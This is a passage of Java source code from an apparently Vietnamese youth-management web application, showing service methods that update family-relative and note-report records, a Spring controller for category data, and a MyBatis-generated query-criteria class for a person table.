successfully resultInsertData = 1; } else { resultInsertData = 0; } } catch (DuplicateKeyException ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.INSERT_RESULT_DUPLICATED; txManager.rollback(status); } catch (Exception ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.INSERT_RESULT_FAILED; txManager.rollback(status); } } // check resultInsertData == 1 ? if (resultInsertData == 1) { // insert successfully register to DB txManager.commit(status); returnValue = Constants.INSERT_RESULT_SUCCESSFUL; } else { returnValue = Constants.INSERT_RESULT_FAILED; txManager.rollback(status); } } catch (Exception ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.INSERT_RESULT_FAILED; } return returnValue; } public int updateRelativePerson(String relationStr, String idNumberStr) { int result = 0; QltnMFamilyRelatives familyRelativesPersonObj = new QltnMFamilyRelatives(); // convert String to String Array String detailFamilyRelativesArr[] = relationStr.split(":"); HashMap<String, Object> params = new HashMap<String, Object>(); params.put("personId", "'" + idNumberStr + "'"); // select max id in QLTN_M_NOTE_REPORT int idNumber = 0; if (getCountRelation() < 1) { idNumber = 0; } else { idNumber = getCountRelation(); } // tang so lan insert relationship của thanh niên setCountRelation(getCountRelation() + 1); if (idNumber <= Constants.PERSON_DEFAULT_ID) { // family Person Id familyRelativesPersonObj.setFamilyPersonId(detailFamilyRelativesArr[0]); // relation familyRelativesPersonObj.setRelation(detailFamilyRelativesArr[1]); // status familyRelativesPersonObj.setStatus(detailFamilyRelativesArr[2]); // birthDay familyRelativesPersonObj.setBirthDay(detailFamilyRelativesArr[3]); // job familyRelativesPersonObj.setJob(detailFamilyRelativesArr[4]); // workPlace familyRelativesPersonObj.setWorkPlace(detailFamilyRelativesArr[5]); // person Id familyRelativesPersonObj.setPersonId(idNumberStr); // create user id familyRelativesPersonObj.setCreateUserId(Util.getUserInfo().getID()); // update user id familyRelativesPersonObj.setUpdateUserId(Util.getUserInfo().getID()); // delete flag familyRelativesPersonObj.setDeleteFlag(Constants.DELETE_FLAG_OFF); sym0043Dao.getQltnMFamilyRelativesMapper().deleteByPrimaryKey(familyRelativesPersonObj); result = sym0043Dao.getQltnMFamilyRelativesMapper().insert(familyRelativesPersonObj); } return result; } public String updateNoteReport(String noteReportStr, String personId) { String returnValue = ""; int resultInsertData = 0; int result = 0; try { // transaction starts DefaultTransactionDefinition def = new DefaultTransactionDefinition(); def.setPropagationBehavior(TransactionDefinition.PROPAGATION_REQUIRED); txManager = (PlatformTransactionManager) appContext.getBean("transactionManager"); TransactionStatus status = txManager.getTransaction(def); String noteReportArr[] = noteReportStr.split(","); List<String> noteReportStrArr = Arrays.asList(noteReportArr); setCountRelation(0); for (int i = 0; i < noteReportStrArr.size(); i++) { String item = noteReportStrArr.get(i); result = deleteDataNoteReport(item, personId); if (result > 0) { break; } } if (result > 0) { for (int i = 0; i < noteReportStrArr.size(); i++) { String item = noteReportStrArr.get(i); // call function insertRelativePerson try { result = insertDataNoteReport(item, personId); if (result > 0) { // insert successfully resultInsertData = 1; } else { resultInsertData = 0; } } catch (DuplicateKeyException ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.INSERT_RESULT_DUPLICATED; txManager.rollback(status); } catch (Exception ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.INSERT_RESULT_FAILED; txManager.rollback(status); } } } // check resultInsertData == 1 ? if (resultInsertData == 1) { // insert successfully register to DB txManager.commit(status); returnValue = Constants.INSERT_RESULT_SUCCESSFUL; } else { returnValue = Constants.INSERT_RESULT_FAILED; txManager.rollback(status); } } catch (Exception ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.INSERT_RESULT_FAILED; } return returnValue; } public int deleteDataNoteReport(String noteReportData, String personId) { int result = 0; QltnMNoteReportKey noteReportKeyObj = new QltnMNoteReportKey(); // convert String to String Array String detailnoteReportArr[] = noteReportData.split(":"); // reportId noteReportKeyObj.setReportId(detailnoteReportArr[0]); // detail Report Id noteReportKeyObj.setDetailReportId(detailnoteReportArr[1]); // personId noteReportKeyObj.setPersonId(personId); result = sym0043Dao.getQltnMNoteReportMapper().deleteByPrimaryKey(noteReportKeyObj); return result; } /** * getProcessEdit. * * get list process person by personId * * @param personId * @return */ public ArrayList<QltnMProcessPerson> getProcessEdit(String personId) { ArrayList<QltnMProcessPerson> qltnMProcessPersonsList = new ArrayList<QltnMProcessPerson>(); HashMap<String, Object> params = new HashMap<String, Object>(); params.put("personId", "'" + personId + "'"); try { qltnMProcessPersonsList = sym0043Dao.getSym0043Mapper().getProcessEdit(params); } catch (Exception ex) { ex.printStackTrace(); qltnMProcessPersonsList = null; logger.error("Error message: " + ex.getMessage()); } return qltnMProcessPersonsList; } public ArrayList<QltnMFamilyRelatives> getRelationShipOfPersonEdit(String personId) { ArrayList<QltnMFamilyRelatives> qltnMProcessPersonsList = new ArrayList<QltnMFamilyRelatives>(); HashMap<String, Object> params = new HashMap<String, Object>(); params.put("personId", "'" + personId + "'"); try { qltnMProcessPersonsList = sym0043Dao.getSym0043Mapper().getRelationShipOfPersonEdit(params); } catch (Exception ex) { ex.printStackTrace(); qltnMProcessPersonsList = null; logger.error("Error message: " + ex.getMessage()); } return qltnMProcessPersonsList; } } ``` Sym0009Controller.java ```package vn.youthmanager.ict.youth.controller; import java.util.List; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.http.MediaType; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import vn.youthmanager.ict.common.db.model.QltnMCategory; import vn.youthmanager.ict.youth.db.model.Sym0009Conditions; import vn.youthmanager.ict.youth.db.model.Sym0009Result; import vn.youthmanager.ict.youth.service.Sym0009Service; @Controller @RequestMapping(value = "/0009") public class Sym0009Controller { @Autowired private Sym0009Service sym0009Service; @RequestMapping(value = "/", method = RequestMethod.GET) public String top(Model model) { return "youth/0009"; } @RequestMapping(value = "/searchData", method = RequestMethod.POST, consumes = MediaType.APPLICATION_JSON_VALUE) public @ResponseBody List<Sym0009Result> searchData(@RequestBody Sym0009Conditions searchConditions) { return sym0009Service.searchData(searchConditions); } @RequestMapping(value = "/updateData", method = RequestMethod.POST, consumes = MediaType.APPLICATION_JSON_VALUE) public @ResponseBody String updateData(@RequestBody QltnMCategory cateData) { return sym0009Service.updateData(cateData); } @RequestMapping(value = "/insertData", method = RequestMethod.POST, consumes = MediaType.APPLICATION_JSON_VALUE) public @ResponseBody String insertData(@RequestBody QltnMCategory cateData) { return sym0009Service.insertData(cateData); } @RequestMapping(value = "/deleteData", method = RequestMethod.POST) public @ResponseBody String deleteData(@RequestParam(value = "cateId") String cateId) { return sym0009Service.deleteData(cateId); } /** * Get Data In Table QLTN_M_REPORT by user Id. * * @param usersId : data from client. * @return List QltnMUsers. */ @RequestMapping(value = "/getSingleData", method = RequestMethod.POST) public @ResponseBody QltnMCategory getSingleData(@RequestParam(value = "cateId") String cateId) { return sym0009Service.getSingleData(cateId); } } ``` QltnMPersonExample.java ```package vn.youthmanager.ict.common.db.model; import java.util.ArrayList; import java.util.Date; import java.util.List; public class QltnMPersonExample { /** * This field was generated by MyBatis Generator. * This field corresponds to the database table qltn_m_person * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ protected String orderByClause; /** * This field was generated by MyBatis Generator. * This field corresponds to the database table qltn_m_person * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ protected boolean distinct; /** * This field was generated by MyBatis Generator. * This field corresponds to the database table qltn_m_person * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ protected List<Criteria> oredCriteria; /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_person * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public QltnMPersonExample() { oredCriteria = new ArrayList<Criteria>(); } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_person * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public void setOrderByClause(String orderByClause) { this.orderByClause = orderByClause; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_person * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public String getOrderByClause() { return orderByClause; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_person * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public void setDistinct(boolean distinct) { this.distinct = distinct; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_person * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public boolean isDistinct() { return distinct; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_person * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public List<Criteria> getOredCriteria() { return oredCriteria; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_person * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public void or(Criteria criteria) { oredCriteria.add(criteria); } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_person * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public Criteria or() { Criteria criteria = createCriteriaInternal(); oredCriteria.add(criteria); return criteria; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_person * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public Criteria createCriteria() { Criteria criteria = createCriteriaInternal(); if (oredCriteria.size() == 0) { oredCriteria.add(criteria); } return criteria; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_person * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ protected Criteria createCriteriaInternal() { Criteria criteria = new Criteria(); return criteria; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_person * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public void clear() { oredCriteria.clear(); orderByClause = null; distinct = false; } /** * This class was generated by MyBatis Generator. * This class corresponds to the database table qltn_m_person * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ protected abstract static class GeneratedCriteria { protected List<Criterion> criteria; protected GeneratedCriteria() { super(); criteria = new ArrayList<Criterion>(); } public boolean isValid() { return criteria.size() > 0; } public List<Criterion> getAllCriteria() { return criteria; } public List<Criterion> getCriteria() { return criteria; } protected void addCriterion(String condition) { if (condition == null) { throw new RuntimeException("Value for condition cannot be null"); } criteria.add(new Criterion(condition)); } protected void addCriterion(String condition, Object value, String property) { if (value == null) { throw new RuntimeException("Value for " + property + " cannot be null"); } criteria.add(new Criterion(condition, value)); } protected void addCriterion(String condition, Object value1, Object value2, String property) { if (value1 == null || value2 == null) { throw new RuntimeException("Between values for " + property + " cannot be null"); } criteria.add(new Criterion(condition, value1, value2)); } public Criteria andPersonIdIsNull() { addCriterion("PERSON_ID is null"); return (Criteria) this; } public Criteria andPersonIdIsNotNull() { addCriterion("PERSON_ID is not null"); return (Criteria) this; } public Criteria andPersonIdEqualTo(String value) { addCriterion("PERSON_ID =", value, "personId"); return (Criteria) this; } public Criteria andPersonIdNotEqualTo(String value) { addCriterion("PERSON_ID <>", value, "personId"); return (Criteria) this; } public Criteria andPersonIdGreaterThan(String value) { addCriterion("PERSON_ID >", value, "personId"); return (Criteria) this; } public Criteria andPersonIdGreaterThanOrEqualTo(String value) { addCriterion("PERSON_ID >=", value, "personId"); return (Criteria) this; } public Criteria andPersonIdLessThan(String value) { addCriterion("PERSON_ID <", value, "personId"); return (Criteria) this; } public Criteria andPersonIdLessThanOrEqualTo(String value) { addCriterion("PERSON_ID <=", value, "personId"); return (Criteria) this; } public Criteria andPersonIdLike(String value) { addCriterion("PERSON_ID like", value, "personId"); return (Criteria) this; } public Criteria andPersonIdNotLike(String value) { addCriterion("PERSON_ID not like", value, "personId"); return (Criteria) this; } public Criteria andPersonIdIn(List<String> values) { addCriterion("PERSON_ID in", values, "personId"); return (Criteria) this; } public Criteria andPersonIdNotIn(List<String> values) { addCriterion("PERSON_ID not in", values, "personId"); return (Criteria) this; } public Criteria andPersonIdBetween(String value1, String value2) { addCriterion("PERSON_ID between", value1, value2, "personId"); return (Criteria) this; } public Criteria andPersonIdNotBetween(String value1, String value2) { addCriterion("PERSON_ID not between", value1, value2, "personId"); return (Criteria) this; } public Criteria andCateIdIsNull() { addCriterion("CATE_ID is null"); return (Criteria) this; } public Criteria andCateIdIsNotNull() { addCriterion("CATE_ID is not null"); return (Criteria) this; } public Criteria andCateIdEqualTo(String value) { addCriterion("CATE_ID =", value, "cateId"); return (Criteria) this; } public Criteria andCateIdNotEqualTo(String value) { addCriterion("CATE_ID <>", value, "cateId"); return (Criteria) this; } public Criteria andCateIdGreaterThan(String value) { addCriterion("CATE_ID >", value, "cateId"); return (Criteria) this; } public Criteria andCateIdGreaterThanOrEqualTo(String value) { addCriterion("CATE_ID >=", value, "cateId"); return (Criteria) this; } public Criteria andCateIdLessThan(String value) { addCriterion("CATE_ID <", value, "cateId"); return (Criteria) this; } public Criteria andCateIdLessThanOrEqualTo(String value) { addCriterion("CATE_ID <=", value, "cateId"); return (Criteria) this; } public Criteria andCateIdLike(String value) { addCriterion("CATE_ID like", value, "cateId"); return (Criteria) this; } public Criteria andCateIdNotLike(String value) { addCriterion("CATE_ID not like", value, "cateId"); return (Criteria) this; } public Criteria andCateIdIn(List<String> values) { addCriterion("CATE_ID in", values, "cateId"); return (Criteria) this; } public Criteria andCateIdNotIn(List<String> values) { addCriterion("CATE_ID not in", values, "cateId"); return (Criteria) this; } public Criteria andCateIdBetween(String value1, String value2) { addCriterion("CATE_ID between", value1, value2, "cateId"); return (Criteria) this; } public Criteria andCateIdNotBetween(String value1, String value2) { addCriterion("CATE_ID not between", value1, value2, "cateId"); return (Criteria) this; } public Criteria andStatusIdIsNull() { addCriterion("STATUS_ID is null"); return (Criteria) this; } public Criteria andStatusIdIsNotNull() { addCriterion("STATUS_ID is not null"); return (Criteria) this; } public Criteria andStatusIdEqualTo(String value) { addCriterion("STATUS_ID =", value, "statusId"); return (Criteria) this; } public Criteria andStatusIdNotEqualTo(String value) { addCriterion("STATUS_ID <>", value, "statusId"); return (Criteria) this; } public Criteria andStatusIdGreaterThan(String value) { addCriterion("STATUS_ID >", value, "statusId"); return (Criteria) this; } public Criteria andStatusIdGreaterThanOrEqualTo(String value) { addCriterion("STATUS_ID >=", value, "statusId"); return (Criteria) this; } public Criteria andStatusIdLessThan(String value) { addCriterion("STATUS_ID <", value, "statusId"); return (Criteria) this; } public Criteria andStatusIdLessThanOrEqualTo(String value) { addCriterion("STATUS_ID <=", value, "statusId"); return (Criteria) this; } public Criteria andStatusIdLike(String value) { addCriterion("STATUS_ID like", value, "statusId"); return (Criteria) this; } public Criteria andStatusIdNotLike(String value) { addCriterion("STATUS_ID not like", value, "statusId"); return (Criteria) this; } public Criteria andStatusIdIn(List<String> values) { addCriterion("STATUS_ID in", values, "statusId"); return (Criteria) this; } public Criteria andStatusIdNotIn(List<String> values) { addCriterion("STATUS_ID not in", values, "statusId"); return (Criteria) this; } public Criteria andStatusIdBetween(String value1, String value2) { addCriterion("STATUS_ID between", value1, value2, "statusId"); return (Criteria) this; } public Criteria andStatusIdNotBetween(String value1, String value2) { addCriterion("STATUS_ID not between", value1, value2, "statusId"); return (Criteria) this; } public Criteria andPersonNameIsNull() { addCriterion("PERSON_NAME is null"); return (Criteria) this; } public Criteria andPersonNameIsNotNull() { addCriterion("PERSON_NAME is not null"); return (Criteria) this; } public Criteria andPersonNameEqualTo(String value) { addCriterion("PERSON_NAME =", value, "personName"); return (Criteria) this; } public Criteria andPersonNameNotEqualTo(String value) { addCriterion("PERSON_NAME <>", value, "personName"); return (Criteria) this; } public Criteria andPersonNameGreaterThan(String value) { addCriterion("PERSON_NAME >", value, "personName"); return (Criteria) this; } public Criteria andPersonNameGreaterThanOrEqualTo(String value) { addCriterion("PERSON_NAME >=", value, "personName"); return (Criteria) this; } public Criteria andPersonNameLessThan(String value) { addCriterion("PERSON_NAME <", value, "personName"); return (Criteria) this; } public Criteria andPersonNameLessThanOrEqualTo(String value) { addCriterion("PERSON_NAME <=", value, "personName"); return (Criteria) this; } public Criteria andPersonNameLike(String value) { addCriterion("PERSON_NAME like", value, "personName"); return (Criteria) this; } public Criteria andPersonNameNotLike(String value) { addCriterion("PERSON_NAME not like", value, "personName"); return (Criteria) this; } public Criteria andPersonNameIn(List<String> values) { addCriterion("PERSON_NAME in", values, "personName"); return (Criteria) this; } public Criteria andPersonNameNotIn(List<String> values) { addCriterion("PERSON_NAME not in", values, "personName"); return (Criteria) this; } public Criteria andPersonNameBetween(String value1, String value2) { addCriterion("PERSON_NAME between", value1, value2, "personName"); return (Criteria) this; } public Criteria andPersonNameNotBetween(String value1, String value2) { addCriterion("PERSON_NAME not between", value1, value2, "personName"); return (Criteria) this; } public Criteria andDateOfBirthIsNull() { addCriterion("DATE_OF_BIRTH is null"); return (Criteria) this; } public Criteria andDateOfBirthIsNotNull() { addCriterion("DATE_OF_BIRTH is not null"); return (Criteria) this; } public Criteria andDateOfBirthEqualTo(String value) { addCriterion("DATE_OF_BIRTH =", value, "dateOfBirth"); return (Criteria) this; } public Criteria andDateOfBirthNotEqualTo(String value) { addCriterion("DATE_OF_BIRTH <>", value, "dateOfBirth"); return (Criteria) this; } public Criteria andDateOfBirthGreaterThan(String value) { addCriterion("DATE_OF_BIRTH >", value, "dateOfBirth"); return (Criteria) this; } public Criteria andDateOfBirthGreaterThanOrEqualTo(String value) { addCriterion("DATE_OF_BIRTH >=", value, "dateOfBirth"); return (Criteria) this; } public Criteria andDateOfBirthLessThan(String value) { addCriterion("DATE_OF_BIRTH <", value, "dateOfBirth"); return (Criteria) this; } public Criteria andDateOfBirthLessThanOrEqualTo(String value) { addCriterion("DATE_OF_BIRTH <=", value, "dateOfBirth"); return (Criteria) this; } public Criteria andDateOfBirthLike(String value) { addCriterion("DATE_OF_BIRTH like", value, "dateOfBirth"); return (Criteria) this; } public Criteria andDateOfBirthNotLike(String value) { addCriterion("DATE_OF_BIRTH not like", value, "dateOfBirth"); return (Criteria) this; } public Criteria andDateOfBirthIn(List<String> values) { addCriterion("DATE_OF_BIRTH in", values, "dateOfBirth"); return (Criteria) this; } public Criteria andDateOfBirthNotIn(List<String> values) { addCriterion("DATE_OF_BIRTH not in", values, "dateOfBirth"); return (Criteria) this; } public Criteria andDateOfBirthBetween(String value1, String value2) { addCriterion("DATE_OF_BIRTH between", value1, value2, "dateOfBirth"); return (Criteria) this; } public Criteria andDateOfBirthNotBetween(String value1, String value2) { addCriterion("DATE_OF_BIRTH not between", value1, value2, "dateOfBirth"); return (Criteria) this; } public Criteria andMonthOfBirthIsNull() { addCriterion("MONTH_OF_BIRTH is null"); return (Criteria) this; } public Criteria andMonthOfBirthIsNotNull() { addCriterion("MONTH_OF_BIRTH is not null"); return (Criteria) this; } public Criteria andMonthOfBirthEqualTo(String value) { addCriterion("MONTH_OF_BIRTH =", value, "monthOfBirth"); return (Criteria) this; } public Criteria andMonthOfBirthNotEqualTo(String value) { addCriterion("MONTH_OF_BIRTH <>", value, "monthOfBirth"); return (Criteria) this; } public Criteria andMonthOfBirthGreaterThan(String value) { addCriterion("MONTH_OF_BIRTH >", value, "monthOfBirth"); return (Criteria) this; } public Criteria andMonthOfBirthGreaterThanOrEqualTo(String value) { addCriterion("MONTH_OF_BIRTH >=", value, "monthOfBirth"); return (Criteria) this; } public Criteria andMonthOfBirthLessThan(String value) { addCriterion("MONTH_OF_BIRTH <", value, "monthOfBirth"); return (Criteria) this; } public Criteria andMonthOfBirthLessThanOrEqualTo(String value) { addCriterion("MONTH_OF_BIRTH <=", value, "monthOfBirth"); return (Criteria) this; } public Criteria andMonthOfBirthLike(String value) { addCriterion("MONTH_OF_BIRTH like", value, "monthOfBirth"); return (Criteria) this; } public Criteria andMonthOfBirthNotLike(String value) { addCriterion("MONTH_OF_BIRTH not like", value, "monthOfBirth"); return (Criteria) this; } public Criteria andMonthOfBirthIn(List<String> values) { addCriterion("MONTH_OF_BIRTH in", values, "monthOfBirth"); return (Criteria) this; } public Criteria andMonthOfBirthNotIn(List<String> values) { addCriterion("MONTH_OF_BIRTH not in", values, "monthOfBirth"); return (Criteria) this; } public Criteria andMonthOfBirthBetween(String value1, String value2) { addCriterion("MONTH_OF_BIRTH between", value1, value2, "monthOfBirth"); return (Criteria) this; } public Criteria andMonthOfBirthNotBetween(String value1, String value2) { addCriterion("MONTH_OF_BIRTH not between", value1, value2, "monthOfBirth"); return (Criteria) this; } public Criteria andYearOfBirthIsNull() { addCriterion("YEAR_OF_BIRTH is null"); return (Criteria) this; } public Criteria andYearOfBirthIsNotNull() { addCriterion("YEAR_OF_BIRTH is not null"); return (Criteria) this; } public Criteria andYearOfBirthEqualTo(String value) { addCriterion("YEAR_OF_BIRTH =", value, "yearOfBirth"); return (Criteria) this; } public Criteria andYearOfBirthNotEqualTo(String value) { addCriterion("YEAR_OF_BIRTH <>", value, "yearOfBirth"); return (Criteria) this; } public Criteria andYearOfBirthGreaterThan(String value) { addCriterion("YEAR_OF_BIRTH >", value, "yearOfBirth"); return (Criteria) this; } public Criteria andYearOfBirthGreaterThanOrEqualTo(String value) { addCriterion("YEAR_OF_BIRTH >=", value, "yearOfBirth"); return (Criteria) this; } public Criteria andYearOfBirthLessThan(String value) { addCriterion("YEAR_OF_BIRTH <", value, "yearOfBirth"); return (Criteria) this; } public Criteria andYearOfBirthLessThanOrEqualTo(String value) { addCriterion("YEAR_OF_BIRTH <=", value, "yearOfBirth"); return (Criteria) this; } public Criteria andYearOfBirthLike(String value) { addCriterion("YEAR_OF_BIRTH like", value, "yearOfBirth"); return (Criteria) this; } public Criteria andYearOfBirthNotLike(String value) { addCriterion("YEAR_OF_BIRTH not like", value, "yearOfBirth"); return (Criteria) this; } public Criteria andYearOfBirthIn(List<String> values) { addCriterion("YEAR_OF_BIRTH in", values, "yearOfBirth"); return (Criteria) this; } public Criteria andYearOfBirthNotIn(List<String> values) { addCriterion("YEAR_OF_BIRTH not in", values, "yearOfBirth"); return (Criteria) this; } public Criteria andYearOfBirthBetween(String value1, String value2) { addCriterion("YEAR_OF_BIRTH between", value1, value2, "yearOfBirth"); return (Criteria) this; } public Criteria andYearOfBirthNotBetween(String value1, String value2) { addCriterion("YEAR_OF_BIRTH not between", value1, value2, "yearOfBirth"); return (Criteria) this; } public Criteria andPhoneIsNull() { addCriterion("PHONE is null"); return (Criteria) this; } public Criteria andPhoneIsNotNull() { addCriterion("PHONE is not null"); return (Criteria) this; } public Criteria andPhoneEqualTo(String value) { addCriterion("PHONE =", value, "phone"); return (Criteria) this; } public Criteria andPhoneNotEqualTo(String value) { addCriterion("PHONE <>", value, "phone"); return (Criteria) this; } public Criteria andPhoneGreaterThan(String value) { addCriterion("PHONE >", value, "phone"); return (Criteria) this; } public Criteria andPhoneGreaterThanOrEqualTo(String value) { addCriterion("PHONE >=", value, "phone"); return (Criteria) this; } public Criteria andPhoneLessThan(String value) { addCriterion("PHONE <", value, "phone"); return (Criteria) this; } public Criteria andPhoneLessThanOrEqualTo(String value) { addCriterion("PHONE <=", value, "phone"); return (Criteria) this; } public Criteria andPhoneLike(String value) { addCriterion("PHONE like", value, "phone"); return (Criteria) this; } public Criteria andPhoneNotLike(String value) { addCriterion("PHONE not like", value, "phone"); return (Criteria) this; } public Criteria andPhoneIn(List<String> values) { addCriterion("PHONE in", values, "phone"); return (Criteria) this; } public Criteria andPhoneNotIn(List<String> values) { addCriterion("PHONE not in", values, "phone"); return (Criteria) this; } public Criteria andPhoneBetween(String value1, String value2) { addCriterion("PHONE between", value1, value2, "phone"); return (Criteria) this; } public Criteria andPhoneNotBetween(String value1, String value2) { addCriterion("PHONE not between", value1, value2, "phone"); return (Criteria) this; } public Criteria andKskquanSttIsNull() { addCriterion("KSKQUAN_STT is null"); return (Criteria) this; } public Criteria andKskquanSttIsNotNull() { addCriterion("KSKQUAN_STT is not null"); return (Criteria) this; } public Criteria andKskquanSttEqualTo(String value) { addCriterion("KSKQUAN_STT =", value, "kskquanStt"); return (Criteria) this; } public Criteria andKskquanSttNotEqualTo(String value) { addCriterion("KSKQUAN_STT <>", value, "kskquanStt"); return (Criteria) this; } public Criteria andKskquanSttGreaterThan(String value) { addCriterion("KSKQUAN_STT >", value, "kskquanStt"); return (Criteria) this; } public Criteria andKskquanSttGreaterThanOrEqualTo(String value) { addCriterion("KSKQUAN_STT >=", value, "kskquanStt"); return (Criteria) this; } public Criteria andKskquanSttLessThan(String value) { addCriterion("KSKQUAN_STT <", value, "kskquanStt"); return (Criteria) this; } public Criteria andKskquanSttLessThanOrEqualTo(String value) { addCriterion("KSKQUAN_STT <=", value, "kskquanStt"); return (Criteria) this; } public Criteria andKskquanSttLike(String value) { addCriterion("KSKQUAN_STT like", value, "kskquanStt"); return (Criteria) this; } public Criteria andKskquanSttNotLike(String value) { addCriterion("KSKQUAN_STT not like", value, "kskquanStt"); return (Criteria) this; } public Criteria andKskquanSttIn(List<String> values) { addCriterion("KSKQUAN_STT in", values, "kskquanStt"); return (Criteria) this; } public Criteria andKskquanSttNotIn(List<String> values) { addCriterion("KSKQUAN_STT not in", values, "kskquanStt"); return (Criteria) this; } public Criteria andKskquanSttBetween(String value1, String value2) { addCriterion("KSKQUAN_STT between", value1, value2, "kskquanStt"); return (Criteria) this; } public Criteria andKskquanSttNotBetween(String value1, String value2) { addCriterion("KSKQUAN_STT not between", value1, value2, "kskquanStt"); return (Criteria) this; } public Criteria andLltnSttIsNull() { addCriterion("LLTN_STT is null"); return (Criteria) this; } public Criteria andLltnSttIsNotNull() { addCriterion("LLTN_STT is not null"); return (Criteria) this; } public Criteria andLltnSttEqualTo(String value) { addCriterion("LLTN_STT =", value, "lltnStt"); return (Criteria) this; } public Criteria andLltnSttNotEqualTo(String value) { addCriterion("LLTN_STT <>", value, "lltnStt"); return (Criteria) this; } public Criteria andLltnSttGreaterThan(String value) { addCriterion("LLTN_STT >", value, "lltnStt"); return (Criteria) this; } public Criteria andLltnSttGreaterThanOrEqualTo(String value) { addCriterion("LLTN_STT >=", value, "lltnStt"); return (Criteria) this; } public Criteria andLltnSttLessThan(String value) { addCriterion("LLTN_STT <", value, "lltnStt"); return (Criteria) this; } public Criteria andLltnSttLessThanOrEqualTo(String value) { addCriterion("LLTN_STT <=", value, "lltnStt"); return (Criteria) this; } public Criteria andLltnSttLike(String value) { addCriterion("LLTN_STT like", value, "lltnStt"); return (Criteria) this; } public Criteria andLltnSttNotLike(String value) { addCriterion("LLTN_STT not like", value, "lltnStt"); return (Criteria) this; } public Criteria andLltnSttIn(List<String> values) { addCriterion("LLTN_STT in", values, "lltnStt"); return (Criteria) this; } public Criteria andLltnSttNotIn(List<String> values) { addCriterion("LLTN_STT not in", values, "lltnStt"); return (Criteria) this; } public Criteria andLltnSttBetween(String value1, String value2) { addCriterion("LLTN_STT between", value1, value2, "lltnStt"); return (Criteria) this; } public Criteria andLltnSttNotBetween(String value1, String value2) { addCriterion("LLTN_STT not between", value1, value2, "lltnStt"); return (Criteria) this; } public Criteria andIdentityCardIsNull() { addCriterion("IDENTITY_CARD is null"); return (Criteria) this; } public Criteria andIdentityCardIsNotNull() { addCriterion("IDENTITY_CARD is not null"); return (Criteria) this; } public Criteria andIdentityCardEqualTo(String value) { addCriterion("IDENTITY_CARD =", value, "identityCard"); return (Criteria) this; } public Criteria andIdentityCardNotEqualTo(String value) { addCriterion("IDENTITY_CARD <>", value, "identityCard"); return (Criteria) this; } public Criteria andIdentityCardGreaterThan(String value) { addCriterion("IDENTITY_CARD >", value, "identityCard"); return (Criteria) this; } public Criteria andIdentityCardGreaterThanOrEqualTo(String value) { addCriterion("IDENTITY_CARD >=", value, "identityCard"); return (Criteria) this; } public Criteria andIdentityCardLessThan(String value) { addCriterion("IDENTITY_CARD <", value, "identityCard"); return (Criteria) this; } public Criteria andIdentityCardLessThanOrEqualTo(String value) { addCriterion("IDENTITY_CARD <=", value, "identityCard"); return (Criteria) this; } public Criteria andIdentityCardLike(String value) { addCriterion("IDENTITY_CARD like", value, "identityCard"); return (Criteria) this; } public Criteria andIdentityCardNotLike(String value) { addCriterion("IDENTITY_CARD not like", value, "identityCard"); return (Criteria) this; } public Criteria andIdentityCardIn(List<String> values) { addCriterion("IDENTITY_CARD in", values, "identityCard"); return (Criteria) this; } public Criteria andIdentityCardNotIn(List<String> values) { addCriterion("IDENTITY_CARD not in", values, "identityCard"); return (Criteria) this; } public Criteria andIdentityCardBetween(String value1, String value2) { addCriterion("IDENTITY_CARD between", value1, value2, "identityCard"); return (Criteria) this; } public Criteria andIdentityCardNotBetween(String value1, String value2) { addCriterion("IDENTITY_CARD not between", value1, value2, "identityCard"); return (Criteria) this; } public Criteria andPlaceOfBirthIsNull() { addCriterion("PLACE_OF_BIRTH is null"); return (Criteria) this; } public Criteria andPlaceOfBirthIsNotNull() { addCriterion("PLACE_OF_BIRTH is not null"); return (Criteria) this; } public Criteria andPlaceOfBirthEqualTo(String value) { addCriterion("PLACE_OF_BIRTH =", value, "placeOfBirth"); return (Criteria) this; } public Criteria andPlaceOfBirthNotEqualTo(String value) { addCriterion("PLACE_OF_BIRTH <>", value, "placeOfBirth"); return (Criteria) this; } public Criteria andPlaceOfBirthGreaterThan(String value) { addCriterion("PLACE_OF_BIRTH >", value, "placeOfBirth"); return (Criteria) this; } public Criteria andPlaceOfBirthGreaterThanOrEqualTo(String value) { addCriterion("PLACE_OF_BIRTH >=", value, "placeOfBirth"); return (Criteria) this; } public Criteria 